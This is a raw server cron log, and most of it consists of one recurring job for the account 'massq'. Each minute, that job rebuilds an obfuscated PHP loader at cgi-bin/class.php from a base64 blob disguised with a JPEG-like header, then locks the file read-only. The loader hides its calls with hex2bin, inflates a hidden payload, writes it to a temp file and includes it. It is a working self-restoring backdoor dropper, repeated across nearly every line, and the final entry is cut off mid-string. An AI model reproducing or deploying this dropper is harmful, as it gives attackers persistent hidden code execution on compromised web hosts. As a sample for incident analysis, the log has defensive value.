Apr 12 16:26:01 server CROND[20447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:27:01 server CROND[20497]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 16:27:01 server CROND[20498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:28:01 server CROND[20647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:29:01 server CROND[20698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:30:01 server CROND[20761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:30:01 server CROND[20764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:30:01 server CROND[20765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:30:01 server CROND[20768]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 16:30:01 server CROND[20769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:31:01 server CROND[20903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:32:01 server CROND[20964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:33:01 server CROND[21121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:34:01 server CROND[21208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:35:01 server CROND[21283]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:35:01 server CROND[21287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 16:35:01 server CROND[21285]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 16:35:01 server CROND[21286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:35:01 server CROND[21291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:36:01 server CROND[21409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:37:01 server CROND[21484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:38:01 server CROND[21637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:39:01 server CROND[21701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdL